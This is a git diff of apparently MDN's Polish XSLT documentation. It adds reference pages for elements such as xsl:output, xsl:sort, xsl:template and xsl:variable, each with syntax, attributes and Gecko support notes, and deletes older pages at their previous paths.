{{ languages( { "en": "en/XSLT/otherwise", "es": "es/XSLT/otherwise", "fr": "fr/XSLT/otherwise" } ) }} diff --git a/files/pl/web/xslt/element/output/index.html b/files/pl/web/xslt/element/output/index.html new file mode 100644 index 0000000000..44a63ffdb7 --- /dev/null +++ b/files/pl/web/xslt/element/output/index.html @@ -0,0 +1,63 @@ +--- +title: output +slug: Web/XSLT/output +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/output +--- +

+{{ XsltRef() }} +

Element <xsl:output> kontroluje charakterystyki dokumentu wyjściowego. Aby funkcjonować poprawnie w Netscapie, element musi być użyty z atrybutem method. Od wersji 7.0 method="text" działa prawidłowo. +

+

Składnia

+
<xsl:output
+	method="xml" | "html" | "text"
+	version=LANCUCH-ZNAKOW
+	encoding=LANCUCH-ZNAKOW
+	omit-xml-declaration="yes" | "no"
+	standalone="yes" | "no"
+	doctype-public=LANCUCH-ZNAKOW
+	doctype-system=LANCUCH-ZNAKOW
+	cdata-section-elements=LISTA-NAZW
+	indent="yes" | "no"
+	media-type=LANCUCH-ZNAKOW  />

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
method 
Określa format wyjściowy. +
+
version 
Określa wartość atrybutu wersji deklaracji XML lub HTML w dokumencie wyjściowym. Można go używać wyłącznie z method="html" lub method="xml". +
+
encoding +
Określa wartość atrybutu kodowania encoding w dokumencie wyjściowym. +
+
omit-xml-declaration +
Wskazuje czy dołączyć do wyjścia deklarację XML. Dozwolone wartości to "yes" lub "no". +
+
standalone (Niewspierane) +
Jeśli obecny wskazuje, że samodzielna deklaracja powinna pojawić się dokumencie wyjściowym; wskazuje również jej wartość. Dozwolone wartości to "yes" lub "no". +
+
doctype-public +
Określa wartość atrybutu PUBLIC deklaracji DOCTYPE w dokumencie wyjściowym. +
+
doctype-system 
Określa wartość atrybutu SYSTEM deklaracji DOCTYPE w dokumencie wyjściowym. +
+
cdata-section-elements 
Wypisuje elementy, których treść tekstowa powinna być zapisana jako sekcje CDATA. Elementy powinny być oddzielone za pomocą białych znaków. +
+
indent (Niewspierane) +
Określa czy wyjście powinno zostać wcięte, aby ukazać jego hierarchiczną strukturę. +
+
media-type (Nieobsługiwany) 
Określa typ MIME dokumentu wyjściowego. +
+

Typ

+

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 16. +

+

Gecko

+

Częściowo obsługuje. Zobacz powyższe komentarze. +

{{ languages( { "en": "en/XSLT/output", "fr": "fr/XSLT/output" } ) }} diff --git a/files/pl/web/xslt/element/param/index.html b/files/pl/web/xslt/element/param/index.html new file mode 100644 index 0000000000..43eead74c1 --- /dev/null +++ b/files/pl/web/xslt/element/param/index.html @@ -0,0 +1,34 @@ +--- +title: param +slug: Web/XSLT/param +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/param +--- +

+{{ XsltRef() }} +

Element <xsl:param> ustala parametr przez nazwę i (opcjonalnie) przez domyślną wartość dla tego parametru. Jeśli użyty jako element najwyższego poziomu, parametr jest globalny. Jeśli użyty wewnątrz elementu <xsl:template>, parametr jest lokalny dla tego szablonu. W takim przypadku musi być on pierwszym elementem-dzieckiem szablonu. +

+

Składnia

+
<xsl:param name=NAZWA select=WYRAZENIE
+	SZABLON
+</xsl:param>

Wymagane atrybuty

+
name +
Nazywa parametr. Musi być poprawną wartością QName. +
+

Opcjonalne atrybuty

+
select +
Używa wyrażenia XPath, aby dostarczyć domyślną wartość, gdy żadna nie została określona. +
+

Typ

+

Instrukcja, może pojawić się jako element najwyższego poziomu lub wewnątrz szablonu. +

+

Definicja

+

XSLT, sekcja 11. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/param", "fr": "fr/XSLT/param" } ) }} diff --git a/files/pl/web/xslt/element/preserve-space/index.html b/files/pl/web/xslt/element/preserve-space/index.html new file mode 100644 index 0000000000..962f299793 --- /dev/null +++ b/files/pl/web/xslt/element/preserve-space/index.html @@ -0,0 +1,31 @@ +--- +title: preserve-space +slug: Web/XSLT/preserve-space +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/preserve-space +--- +

+{{ XsltRef() }} +

Element <xsl:preserve-space> definiuje elementy w dokumencie źródłowym, dla których białe znaki (whitespace) powinny zostać zachowane. Jeśli elementów jest więcej niż tylko jeden, oddziel ich nazwy używając jednego z białych znaków. Pozostawienie białych znaków jest ustawieniem domyślnym, dlatego ten element musi być użyty tylko jako przeciwdziałanie elementowi <xsl:strip-space>. +

+

Składnia

+
<xsl:preserve-space elements=LISTA-NAZW  />

Wymagane atrybuty

+
elements +
Określa elementy, dla których białe znaki mają zostać zachowane. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 3.4 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/preserve-space", "fr": "fr/XSLT/preserve-space" } ) }} diff --git a/files/pl/web/xslt/element/processing-instruction/index.html b/files/pl/web/xslt/element/processing-instruction/index.html new file mode 100644 index 0000000000..4f1e67f565 --- /dev/null +++ b/files/pl/web/xslt/element/processing-instruction/index.html @@ -0,0 +1,33 @@ +--- +title: processing-instruction +slug: Web/XSLT/processing-instruction +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/processing-instruction +--- +

+{{ XsltRef() }} +

Element <xsl:processing-instruction> zapisuje instrukcję przetwarzania do dokumentu wyjściowego. +

+

Składnia

+

<xsl:processing-instruction name=NAZWA> SZABLON +</xsl:processing-instruction>

+

Wymagane atrybuty

+
name +
Określa nazwę instrukcji przetwarzania. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu. +

+

Definicja

+

XSLT, sekcja 7.3 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/processing-instruction", "fr": "fr/XSLT/processing-instruction" } ) }} diff --git a/files/pl/web/xslt/element/sort/index.html b/files/pl/web/xslt/element/sort/index.html new file mode 100644 index 0000000000..9a6ab04701 --- /dev/null +++ b/files/pl/web/xslt/element/sort/index.html @@ -0,0 +1,49 @@ +--- +title: sort +slug: Web/XSLT/sort +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/sort +--- +

+{{ XsltRef() }} +

Element <xsl:sort> definiuje klucz sortowania dla węzłów wybranych przez <xsl:apply-templates> lub <xsl:for-each> i określa kolejność, w jakiej mają być one przetwarzane. +

+

Składnia

+
<xsl:sort
+	select=WYRAZENIE
+	order="ascending" | "descending"
+	case-order="upper-first"| "lower-first"
+	lang=XML:KOD-JEZYKA
+	data-type="text" | "number" /> 
+

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
select +
Używa wyrażenia XPath do określenia węzłów, które mają zostać posortowane. +
+
order +
Określa czy węzły mają być przetwarzane w kolejności "ascending" (rosnącej) lub "descending" (malejącej). Wartością domyślną jest "ascending". +
+
case-order +
Wskazuje, które z liter (małe czy duże) mają być uporządkowane jako pierwsze. Dostępnymi wartościami są "upper-first" (najpierw duże) i "lower-first" (najpierw małe). +
+
lang +
Określa, który język ma zostać użyty przez sortowanie. +
+
data-type +
Definiuje czy pozycje mają być uporządkowane alfabetycznie czy numerycznie. Dostępnymi wartościami są "text" (alfabetycznie) i "number" (numerycznie) z "text" jako wartością domyślną. +
+

Typ

+

Podinstrukcja, zawsze pojawia się jako dziecko <xsl:for-each> (gdzie musi się pojawić przed szablonem) lub <xsl:apply-templates>. +

+

Definicja

+

XSLT, sekcja 10. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/sort", "fr": "fr/XSLT/sort" } ) }} diff --git a/files/pl/web/xslt/element/strip-space/index.html b/files/pl/web/xslt/element/strip-space/index.html new file mode 100644 index 0000000000..55daf99a8d --- /dev/null +++ b/files/pl/web/xslt/element/strip-space/index.html @@ -0,0 +1,31 @@ +--- +title: strip-space +slug: Web/XSLT/strip-space +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/strip-space +--- +

+{{ XsltRef() }} +

Element <xsl:strip-space> definiuje elementy w dokumencie źródłowym, dla których białe znaki powinny zostać usunięte. +

+

Składnia

+
<xsl:strip-space elements=LISTA-NAZW  />

Wymagane atrybuty

+
elements +
Określa listę oddzielonych za pomocą spacji elementów w źródle, którego węzły tekstowe zawierające tylko białe znaki powinny zostać usunięte. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 3.4 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/strip-space", "fr": "fr/XSLT/strip-space" } ) }} diff --git a/files/pl/web/xslt/element/stylesheet/index.html b/files/pl/web/xslt/element/stylesheet/index.html new file mode 100644 index 0000000000..36275a7efd --- /dev/null +++ b/files/pl/web/xslt/element/stylesheet/index.html @@ -0,0 +1,34 @@ +--- +title: stylesheet +slug: Web/XSLT/stylesheet +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/stylesheet +--- +

{{ XsltRef() }}

+

Element <xsl:stylesheet> (lub odpowiadający mu element <xsl:transform>) jest najbardziej zewnętrznym elementem arkusza.

+

Deklaracja przestrzeni nazw

+

Pseudoatrybut wymagany do identyfikacji dokumentu jako arkusza XSLT. Zazwyczaj jest to xmlns:xsl="http://www.w3.org/1999/XSL/Transform".

+

Składnia

+
<xsl:stylesheet
+	version=LICZBA
+	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+	id=NAZWA
+	extension-element-prefixes=LISTA-NAZW
+	exclude-result-prefixes=LISTA-NAZW>
+		CALY ARKUSZ
+</xsl:stylesheet>
+

Wymagane atrybuty

+
version
Określa wersję XSLT wymaganą przez ten arkusz.
+

Opcjonalne atrybuty

+
id (Obsługiwany od wersji 7.0 tylko wtedy, gdy jednoznacznie wywołany poprzez liniowe DTD.)
Określa id dla tego arkusza. Jest on używany najczęściej wtedy, gdy arkusz jest osadzony w innym dokumencie XML.
extension-element-prefixes (Nieobsługiwany.)
Określa listę oddzielonych spacjami prefiksów przestrzeni nazw dla elementów rozszerzenia wewnątrz tego dokumentu.
exclude-result-prefixes
Określa dowolną przestrzeń nazw użytą w tym dokumencie, która nie powinna zostać wysłana do dokumentu wyjściowego. Lista jest oddzielona za pomocą białych znaków.
+

Typ

+

Wymagany, najbardziej zewnętrzny element arkusza.

+

Definicja

+

XSLT, sekcja 2.2.

+

Gecko

+

Częściowo obsługuje. Zobacz powyższe komentarze.

+

{{ languages( { "en": "en/XSLT/stylesheet", "fr": "fr/XSLT/stylesheet" } ) }}

diff --git a/files/pl/web/xslt/element/template/index.html b/files/pl/web/xslt/element/template/index.html new file mode 100644 index 0000000000..b428b9eaf0 --- /dev/null +++ b/files/pl/web/xslt/element/template/index.html @@ -0,0 +1,47 @@ +--- +title: template +slug: Web/XSLT/template +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/template +--- +

+{{ XsltRef() }} +

Element <xsl:template> definiuje szablon produkujący wyjście. Ten element musi posiadać ustawiony atrybut match lub atrybut name. +

+

Składnia

+
<xsl:template
+	match=WZORZEC
+	name=NAZWA
+	mode=NAZWA
+	priority=LICZBA>
+	<xsl:param> [opcjonalnie]
+	SZABLON
+</xsl:template>

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
match +
Określa wzór, który warunkuje elementy, dla których szablon ten powinien zostać użyty. Jest to wymagany atrybut, gdy nie został zdefiniowany atrybut name. +
+
name +
Określa dla szablonu nazwę, za pomocą której może on być wywołany przez element <xsl:call-template>. +
+
mode +
Określa dla szablonu konkretny tryb, który może być dobrany przez atrybut elementu <xsl:apply-templates>. Jest to użyteczne przy przetwarzaniu tej samej informacji na różne sposoby. +
+
priority +
Określa numeryczny priorytet dla tego szablonu. Może to być dowolna liczba różna od Infinity. Procesor używa tej liczby, gdy więcej niż jeden szablon dobiera ten sam węzeł. +
+

Typ

+

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 5.3. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/template", "fr": "fr/XSLT/template" } ) }} diff --git a/files/pl/web/xslt/element/text/index.html b/files/pl/web/xslt/element/text/index.html new file mode 100644 index 0000000000..af8c6473af --- /dev/null +++ b/files/pl/web/xslt/element/text/index.html @@ -0,0 +1,34 @@ +--- +title: text +slug: Web/XSLT/text +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/text +--- +

+{{ XsltRef() }} +

Element <xsl:text> zapisuje tekst literałowy do drzewa wyjściowego. Może on zawierać elementy #PCDATA, tekst literałowy i referencje encji. +

+

Składnia

+
<xsl:text disable-output-escaping="yes" | "no">
+	TEKST
+</xsl:text> 
+

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
disable-output-escaping (Netscape nie dzieli wyników przekształcenia - poniższego "wyjścia" - dlatego atrybut ten jest w zasadzie nieistotny w znaczeniu. Aby otrzymać na wyjściu encje html użyj wartości numerycznych, np. &#160 dla &nbsp) +
Określa czy znaki specjalne są pomijane przy zapisywaniu do wyjścia. Dostępne wartości to "yes" lub "no". Przykładowo, jeżeli ustawiona jest wartość "yes", <tt>></tt> jest wyświetlane jako >, a nie jako "&gt". +
+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu. +

+

Definicja

+

XSLT, sekcja 7.2 +

+

Gecko

+

Obsługuje jak wspomniano wyżej. +

{{ languages( { "en": "en/XSLT/text", "fr": "fr/XSLT/text" } ) }} diff --git a/files/pl/web/xslt/element/transform/index.html b/files/pl/web/xslt/element/transform/index.html new file mode 100644 index 0000000000..8fc9637505 --- /dev/null +++ b/files/pl/web/xslt/element/transform/index.html @@ -0,0 +1,17 @@ +--- +title: transform +slug: Web/XSLT/transform +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/transform +--- +

+{{ XsltRef() }} +

Element <xsl:transform> jest dokładnie równoważny elementowi <xsl:stylesheet>. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/transform", "fr": "fr/XSLT/transform" } ) }} diff --git a/files/pl/web/xslt/element/value-of/index.html b/files/pl/web/xslt/element/value-of/index.html new file mode 100644 index 0000000000..3da1744972 --- /dev/null +++ b/files/pl/web/xslt/element/value-of/index.html @@ -0,0 +1,32 @@ +--- +title: value-of +slug: Web/XSLT/value-of +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/value-of +--- +

+{{ XsltRef() }} +

Element <xsl:value-of> ocenia wyrażenie XPath, konwertuje je do ciągu znakowego, który następnie zapisuje do drzewa wynikowego. +

+

Składnia

+
<xsl:value-of select=WYRAZENIE disable-output-escaping="yes" | "no"  />

Wymagane atrybuty

+
select +
Określa wyrażenie XPath, które ma być ocenione i zwrócone do drzewa wynikowego. +
+

Opcjonalne atrybuty

+
disable-output-escaping (Netscape nie dzieli wyników przekształcenia - poniższego "wyjścia" - dlatego atrybut ten jest w zasadzie nieistotny w znaczeniu. Aby otrzymać na wyjściu encje html użyj wartości numerycznych, np. &#160 dla &nbsp) +
Określa czy znaki specjalne są pomijane przy zapisywaniu do wyjścia. Dostępne wartości to "yes" lub "no". Przykładowo, jeżeli ustawiona jest wartość "yes", <tt>></tt> jest wyświetlane jako >, a nie jako "&gt". +
+

Typ

+

Instrukcja, pojawia się wraz z szablonem. +

+

Definicja

+

XSLT, sekcja 7.6.1. +

+

Gecko

+

Obsługuje poza powyższymi przypadkami. +

{{ languages( { "en": "en/XSLT/value-of", "fr": "fr/XSLT/value-of", "ja": "ja/XSLT/value-of" } ) }} diff --git a/files/pl/web/xslt/element/variable/index.html b/files/pl/web/xslt/element/variable/index.html new file mode 100644 index 0000000000..3a8137da82 --- /dev/null +++ b/files/pl/web/xslt/element/variable/index.html @@ -0,0 +1,35 @@ +--- +title: variable +slug: Web/XSLT/variable +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/variable +--- +

+{{ XsltRef() }} +

Element <xsl:variable> deklaruje globalną lub lokalną zmienną w arkuszu i nadaje jej wartość. Ponieważ XSLT nie pozwala na działania pośrednie (ang. side-effects), wartość zmiennej po jej ustaleniu pozostanie ta sama, dopóki zmienna nie wyjdzie poza swój zasięg. +

+

Składnia

+
<xsl:variable name=NAME select=WYRAZENIE >
+	SZABLON
+</xsl:variable> 
+

Wymagane atrybuty

+
name +
Nadaje zmiennej nazwę. +
+

Opcjonalne atrybuty

+
select +
Określa wartość zmiennej poprzez wyrażenie XPath. Jeśli element zawiera szablon, atrybut jest ignorowany. +
+

Typ

+

Element najwyższego poziomu lub instrukcja. Jeśli pojawia się jako element najwyższego poziomu, zmienna jest globalna w zasięgu i dostęp do niej może być osiągnięty poprzez cały dokument. Jeśli pojawia się wewnątrz szablonu, zmienna jest lokalna w zasięgu i jest dostępna tylko wewnątrz szablonu, w którym się pojawia. +

+

Definicja

+

XSLT, sekcja 11. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/variable", "fr": "fr/XSLT/variable" } ) }} diff --git a/files/pl/web/xslt/element/when/index.html b/files/pl/web/xslt/element/when/index.html new file mode 100644 index 0000000000..e0a132be76 --- /dev/null +++ b/files/pl/web/xslt/element/when/index.html @@ -0,0 +1,33 @@ +--- +title: when +slug: Web/XSLT/when +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/when +--- +

+{{ XsltRef() }} +

Element <xsl:when> zawsze pojawia się wewnątrz elementu <xsl:choose>, działając jak instrukcja wyboru. +

+

Składnia

+
<xsl:when test=WYRAZENIE>
+	SZABLON
+</xsl:when>

Wymagane atrybuty

+
test +
Określa wyrażenie logiczne, które ma zostać ocenione. Jeśli jest prawdziwe, zawartość elementu jest przetwarzana; jeśli fałszywe, zawartość jest ignorowana. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Podinstrukcja, pojawia się zawsze wewnątrz elementu <xsl:choose>. +

+

Definicja

+

XSLT, sekcja 9.2. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/when", "es": "es/XSLT/when", "fr": "fr/XSLT/when" } ) }} diff --git a/files/pl/web/xslt/element/with-param/index.html b/files/pl/web/xslt/element/with-param/index.html new file mode 100644 index 0000000000..6d00d21d50 --- /dev/null +++ b/files/pl/web/xslt/element/with-param/index.html @@ -0,0 +1,32 @@ +--- +title: with-param +slug: Web/XSLT/with-param +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/with-param +--- +

+{{ XsltRef() }} +

Element <xsl:with-param> ustala wartość parametru, który ma zostać przekazany do szablonu.

+

Składnia

+
<xsl:with-param name=NAZWA select=WYRAZENIE>
+	SZABLON
+</xsl:with-param>

Wymagane atrybuty

+
name +
Nadaje nazwę parametrowi.
+

Opcjonalne atrybuty

+
select +
Definiuje wartość parametru poprzez wyrażenie XPath. Jeśli element zawiera szablon, atrybut jest ignorowany. +
+

Typ

+

Podinstrukcja, pojawia się zawsze wewnątrz elementu <xsl:apply-templates> lub <xsl:call-template>. +

+

Definicja

+

XSLT 11.6 +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/with-param", "es": "es/XSLT/with-param", "fr": "fr/XSLT/with-param" } ) }} diff --git a/files/pl/web/xslt/fallback/index.html b/files/pl/web/xslt/fallback/index.html deleted file mode 100644 index 420a32dd23..0000000000 --- a/files/pl/web/xslt/fallback/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: fallback -slug: Web/XSLT/fallback -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/fallback ---- -

-{{ XsltRef() }} -

Element <xsl:fallback> określa, który szablon ma zostać użyty, gdy podane rozszerzenie (lub ostatecznie nowsza wersja) elementu jest nieobsługiwane. -

-

Składnia

-
<xsl:fallback>
-	SZABLON
-</xsl:fallback>

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu. -

-

Definicja

-

XSLT, sekcja 15 -

-

Gecko

-

W chwili obecnej nie obsługuje. -

{{ languages( { "en": "en/XSLT/fallback", "es": "es/XSLT/fallback", "fr": "fr/XSLT/fallback" } ) }} diff --git a/files/pl/web/xslt/for-each/index.html b/files/pl/web/xslt/for-each/index.html deleted file mode 100644 index d2f9d387e8..0000000000 --- a/files/pl/web/xslt/for-each/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: for-each -slug: Web/XSLT/for-each -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/for-each ---- -

-{{ XsltRef() }} -

Element <xsl:for-each> zaznacza zbiór węzłów i przetwarza każdy z nich w ten sam sposób. Element ten jest często używany do iteracji zbioru węzłów lub zmiany aktualnego węzła. Jeśli jeden lub więcej elementów <xsl:sort> pojawią się jako dzieci tego elementu, przez przetworzeniem zostanie wywołane sortowanie. W przeciwnym wypadku węzły są przetwarzane w kolejności, w jakiej pojawiają się w dokumencie. -

-

Składnia

-
<xsl:for-each select=WYRAZENIE>
-	<xsl:sort> [opcjonalnie]
-	SZABLON
-</xsl:for-each>

Wymagane atrybuty

-
select -
Używa wyrażenia XPath do zaznaczenia węzłów, które mają zostać przetworzone.
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu.

-

Definicja

-

XSLT, sekcja 8. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/for-each", "es": "es/XSLT/for-each", "fr": "fr/XSLT/for-each" } ) }} diff --git a/files/pl/web/xslt/if/index.html b/files/pl/web/xslt/if/index.html deleted file mode 100644 index 888e264082..0000000000 --- a/files/pl/web/xslt/if/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: if -slug: Web/XSLT/if -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/if ---- -

-{{ XsltRef() }} -

Element <xsl:if> zawiera atrybut testowy i szablon. Jeżeli wyrażenie testowe zostanie ocenione jako prawdziwe, szablon jest przetwarzany. Element ten jest podobny do instrukcji if w innych językach, jednak aby uzyskać funkcjonalność instrukcji <tt>if-then-else</tt>, użyj elementu <xsl:choose> wraz z jego dziećmi: <xsl:when> i <xsl:otherwise>. -

-

Składnia

-
<xsl:if test=WYRAZENIE>
-	SZABLON
-</xsl:if>
-

Wymagane atrybuty

-
test -
Zawiera wyrażenie XPath, które może być ocenione (poprzez zasady zdefiniowane poprzez boolean( ) jeśli konieczne) jako wartość logiczna Boolean. Jeśli wyrażenie jest prawdziwe, szablon jest przetwarzany; jeśli nie, nie jest podejmowana żadna czynność. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu.

-

Definicja

-

XSL sekcja 9.1. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/if", "es": "es/XSLT/if", "fr": "fr/XSLT/if" } ) }} diff --git a/files/pl/web/xslt/import/index.html b/files/pl/web/xslt/import/index.html deleted file mode 100644 index ba7348198e..0000000000 --- a/files/pl/web/xslt/import/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: import -slug: Web/XSLT/import -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/import ---- -

-{{ XsltRef() }} -

Element <xsl:import> jest elementem najwyższego poziomu, który służy do importowania zawartości jednego arkusza do innego. Ogólnie mówiąc zawartość arkusza importowanego posiada niższą ważność od zawartości arkusza importującego. Zostało to ustanowione w odróżnieniu od <xsl:include>, gdzie zawartości dwóch arkuszów - włączanego i włączającego - mają tę samę ważność. -

-

Składnia

-
<xsl:import href=URI  />

Wymagane atrybuty

-
href -
Określa URI arkusza stylów do importu. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Element najwyższego poziomu, musi pojawić się przed jakimkolwiek dzieckiem <xsl:stylesheet> lub <xsl:transform> w arkuszu importującym. -

-

Definicja

-

XSLT, sekcja 2.6.2. -

-

Gecko

-

Przeważnie obsługiwany, z kilkoma problemami ze zmiennymi i parametrami najwyższego poziomu, od wersji Mozilla 1.0. -

{{ languages( { "en": "en/XSLT/import", "es": "es/XSLT/import", "fr": "fr/XSLT/import" } ) }} diff --git a/files/pl/web/xslt/include/index.html b/files/pl/web/xslt/include/index.html deleted file mode 100644 index 2a1a0f84b7..0000000000 --- a/files/pl/web/xslt/include/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: include -slug: Web/XSLT/include -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/include ---- -

-{{ XsltRef() }} -

Element <xsl:include> łączy zawartości dwóch arkuszy. W przeciwieństwie do <xsl:import>, zawartość arkusza włączanego ma tę samą ważność, co zawartość arkusza włączającego. -

-

Składnia

-
<xsl:include href=URI />

Wymagane atrybuty

-
href -
Określa URI arkusza stylów do włączenia. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Element najwyższego poziomu, może pojawić się w dowolnej kolejności jako dziecko <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 2.6.1. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/include", "es": "es/XSLT/include", "fr": "fr/XSLT/include" } ) }} diff --git a/files/pl/web/xslt/key/index.html b/files/pl/web/xslt/key/index.html deleted file mode 100644 index 77b5245afd..0000000000 --- a/files/pl/web/xslt/key/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: key -slug: Web/XSLT/key -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/key ---- -

-{{ XsltRef() }} -

Element <xsl:key> deklaruje nazwę klucza, który możemy zastosować gdziekolwiek w arkuszu stylów z funkcją key( ). -

-

Składnia

-
<xsl:key name=NAZWA match=WYRAZENIE use=WYRAZENIE /> 
-

Wymagane atrybuty

-
name -
Określa nazwę klucza. Musi być poprawną wartością QName. -
match -
Określa węzły, do których odnosi się klucz. -
use -
Określa wyrażenie XPath wykorzystywane do ustalenia wartości klucza dla każdego z węzłów. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 12.2. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/key", "es": "es/XSLT/key", "fr": "fr/XSLT/key" } ) }} diff --git a/files/pl/web/xslt/message/index.html b/files/pl/web/xslt/message/index.html deleted file mode 100644 index 38ea60cd32..0000000000 --- a/files/pl/web/xslt/message/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: message -slug: Web/XSLT/message -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/message ---- -

-{{ XsltRef() }} -

Element <xsl:message> zwraca komunikat (do konsoli JavaScript Console w NS) i opcjonalnie przerywa wykonywanie arkusza stylów. Może się okazać przydatny podczas debugowania. -

-

Składnia

-
<xsl:message terminate="yes" | "no" >
-	SZABLON
-</xsl:message>

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
terminate -
Z wartością "yes" wskazuje, że wykonywanie powinno zostać przerwane. Domyślną wartością jest "no", w przypadku której zostaje zwrócony komunikat, a wykonywanie jest kontynuowane.
-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu.

-

Definicja

-

XSLT, sekcja 13. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/message", "es": "es/XSLT/message", "fr": "fr/XSLT/message" } ) }} diff --git a/files/pl/web/xslt/namespace-alias/index.html b/files/pl/web/xslt/namespace-alias/index.html deleted file mode 100644 index 9ed3b83f10..0000000000 --- a/files/pl/web/xslt/namespace-alias/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: namespace-alias -slug: Web/XSLT/namespace-alias -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/namespace-alias ---- -

-{{ XsltRef() }} -

